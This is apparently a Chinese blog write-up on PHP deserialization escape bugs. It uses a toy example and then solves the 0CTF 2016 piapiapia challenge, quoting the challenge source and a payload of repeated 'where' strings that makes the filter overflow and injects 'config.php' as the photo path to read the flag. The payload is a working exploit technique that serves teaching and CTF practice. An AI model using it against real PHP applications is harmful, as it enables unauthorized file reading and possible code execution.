0x00 first

前几天joomla爆出个反序列化漏洞,原因是因为对序列化后的字符进行过滤,导致用户可控字符溢出,从而控制序列化内容,配合对象注入导致RCE。刚好今天刷CTF题时遇到了一个类似的场景,感觉很有意思,故有本文。

0x01 我打我自己之---序列化问题

关于序列化是什么就不再赘述了,这里主要讲几个跟安全相关的几个点。

看一个简单的序列化

<?php
$kk = "123";
$kk_seri = serialize($kk); //s:3:"123"; echo unserialize($kk_seri); //123 $not_kk_seri = 's:4:"123""'; echo unserialize($not_kk_seri); //123"

从上例可以看到,序列化后的字符串以"作为分隔符,但是注入"并没有导致后面的内容逃逸。这是因为反序列化时,反序列化引擎是根据长度来判断的。

也正是因为这一点,如果程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果。看一个例子

<?php

	$username = $_GET['username'];
$sign = "hi guys";
$user = array($username, $sign); $seri = bad_str(serialize($user)); echo $seri; // echo "<br>"; $user=unserialize($seri); echo $user[0];
echo "<br>";
echo "<br>";
echo $user[1]; function bad_str($string){
return preg_replace('/\'/', 'no', $string);
}

先对一个数组进行序列化,然后把结果传入bad_str()函数中进行安全过滤,将单引号转换成no,最后反序列化得到的结果并输出。看一下正常的输出:

用户ka1n4t的个性签名很友好。如果在用户名处加上单引号,则会被程序转义成no,由于长度错误导致反序列化时出错。

那么通过这个错误能干啥呢?我们可以改写可控处之后的所有字符,从而控制这个用户的个性签名。我们需要先把我们想注入的数据写好,然后再考虑长度溢出的问题。比如我们把他的个性签名改成no hi,长度为5,在本程序中序列化的结果应该是i:1;s:5:"no hi";,再跟前面的username的双引号以及后面的结束花括号闭合,变成";i:1;s:5:"no hi";}。见下图

我们要让'经过bad_str()函数转义成no之后多出来的长度刚好对齐到我们上面构造的payload。由于上面的payload长度是19,因此我们只要在payload前输入19个',经过bad_str()转义后刚好多出了19个字符。

尝试payload:ka1n4t'''''''''''''''''''";i:1;s:5:"no hi";}

成功注入序列化字符。前几天的joomla rce原理也正是如此。下面通过一道CTF来看一下实战场景。

0x02 [0CTF 2016] piapiapia

首页一个登录框,别的嘛都没有

www.zip源码泄露,可直接下载源码。

flag在config.php中

class.php是mysql数据库类,以及user model

<?php
require('config.php'); class user extends mysql{
private $table = 'users'; public function is_exists($username) {
$username = parent::filter($username); $where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password); $key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password); $where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username); $where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile); $where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
} class mysql {
private $link = null; public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'"); return $this->link;
} public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
} public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
} public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
} public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

profile.php用于展示个人信息

profile.php

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

register.php用于注册用户

register.php

<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>

update.php用于更新用户信息

update.php

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); $file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

通过观察上面的几个代码我们能发现以下几个线索

1.能读取config.php或获得参数$flag的值即可获得flag。

2.update.php 28行将用户更新信息序列化,然后传入$user->update_profile()存入数据库。

3.查看class.php中的update_profile()源码,发现底层先调用了filter()方法进行危险字符过滤,然后才存入数据库。

4.profile.php 16行取出用户的$profile['photo']作为文件名获取文件内容并展示。

5.update.php 26行可以看到$profile['photo']的值是'upload'.md5($file['name']),因此线索4中的文件名我们并不可控。

综合以上5点,再加上本文一开始的例子,思路基本已经出来了,程序将序列化之后的字符串进行过滤,导致用户可控部分溢出,从而控制后半段的序列化字符,最终控制$profile['photo']的值为config.php,即可获得flag。

这里关键就是class.php中的filter()方法,我们要找到能让原始字符‘膨胀’的转义。

	public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

仅从长度变化来看,只有where->hacker这一个转义是变长了的。回到update.php 28行,我们只要在nickname参数中输入若干个where拼上payload,经过filter()过滤后刚好让我们的payload溢出即可。

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));

有一点需要注意的是update.php对nickname进行了过滤,不能有除_外的特殊字符,我们只要传一个nickname[]数组即可。

下面构造payload,先看看正常的序列化表达式是什么

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

构造photo值为config.php,并与前后闭合序列化表达式,也就是取出上面kk1之后的所有字符

";}s:5:"photo";s:10:"config.php";}

长度为34,由于filter()是将where变为hacker,增加1位,我们需要增加34位,也就是34个where。payload变成这样

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

我们把这个作为nickname[]的值传入,然后序列化的结果应该是

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

经过filter()的转义变成

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

数一下位数,刚好。

下面发送payload作为nickname[]的值

更新成功,访问profile.php查看个人信息

成功拿到flag。

从一道ctf看php反序列化漏洞的应用场景的更多相关文章

  1. 7. 由一道ctf学习变量覆盖漏洞

    0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...

  2. php反序列化漏洞绕过魔术方法 __wakeup

    0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字 ...

  3. [代码审计]四个实例递进php反序列化漏洞理解【转载】

    原作者:大方子 原文链接:https://blog.csdn.net/nzjdsds/article/details/82703639 0x01 索引 最近在总结php序列化相关的知识,看了好多前辈师 ...

  4. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  5. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  6. PHP反序列化漏洞总结(二)

    写在前边 之前介绍了什么是序列化和反序列化,顺便演示了一个简单的反序列化漏洞,现在结合实战,开始填坑 前篇:https://www.cnblogs.com/Lee-404/p/12771032.htm ...

  7. PHP 反序列化漏洞入门学习笔记

    参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...

  8. php反序列化漏洞入门

    前言 这篇讲反序列化,可能不会很高深,我之前就被反序列化整懵逼了. 直到现在我对反序列化还是不够深入,今天就刚好可以研究研究. 0x01.反序列化漏洞介绍 序列化在内部没有漏洞,漏洞产生是应该程序在处 ...

  9. tp6.0.x 反序列化漏洞

    tp6 反序列化漏洞复现 环境 tp6.0 apache php7.3 漏洞分析 反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件 app/controller/Index ...

随机推荐

  1. Day005_Linux基础之文件权限

    test.sh  举例: [oldboy@luffy001 ~]$ ls -l test.sh -rw-r--r-- 1 oldboy ops 0 Nov 14 10:42 test.sh  该文件权 ...

  2. LaTeX 自动避免重复内容

    在编辑自动化文档时,很容易出现在文档多处提及相同内容的情况.例如,描述某具体设备的图片,在多个工艺中都会用到,而又无法确定工艺出现顺序,或者对于不同企业,工艺不尽相同.这时我们可能会希望,latex帮 ...

  3. Java验证手机号

    在实际开发中我们需要对手机号格式校验,以下是对中国手机号校验的实现. public class PhoneUtils { /** * 中国手机号码 */ private static Pattern ...

  4. 用OSS给阿里云ECS扩展硬盘容量

    阿里云的虚拟机ECS在创建时可以指定一个云盘,但在使用过程中,随着时间推移数据越来越多,难免硬盘就不够用了.当然你可以在另外加个云盘,不过总还有用完的时候,而且价格也不便宜.今天给大家介绍一个方法,给 ...

  5. JSP官方文档(JavaServer Pages Specification)下载

    找了好久,终于找到官网的下载地址了.这样,就可以用一手的文档资料了! 下载地址:http://download.oracle.com/otndocs/jcp/jsp-2_3-mrel2-spec/ s ...

  6. springboot logback日志的使用

    以下有两个使用,一个是简单使用,另一个是需要进行详细的配置再使用.首先给出源代码.可以直接使用 import org.slf4j.Logger;import org.slf4j.LoggerFacto ...

  7. StringBuilder和StringBuffer的区别

    Java中StringBuilder和StringBuffer的区别分析 StringBUilder是线程不安全的(线程同步访问的时候会出问题),但是效率相对较高. (String类型使用加号进行拼接 ...

  8. 集合ArrayList分析

    目录 ArrayList 描述 重要的对象 遍历使用 与Collection关系 ArrayList属性 扩展:什么是序列化 transient关键字解析 ArrayList构造方法 无参构造 int ...

  9. 当 K8s 集群达到万级规模,阿里巴巴如何解决系统各组件性能问题?

    作者 | 阿里云容器平台高级技术专家 曾凡松(逐灵) 本文主要介绍阿里巴巴在大规模生产环境中落地 Kubernetes 的过程中,在集群规模上遇到的典型问题以及对应的解决方案,内容包含对 etcd.k ...

  10. new的执行过程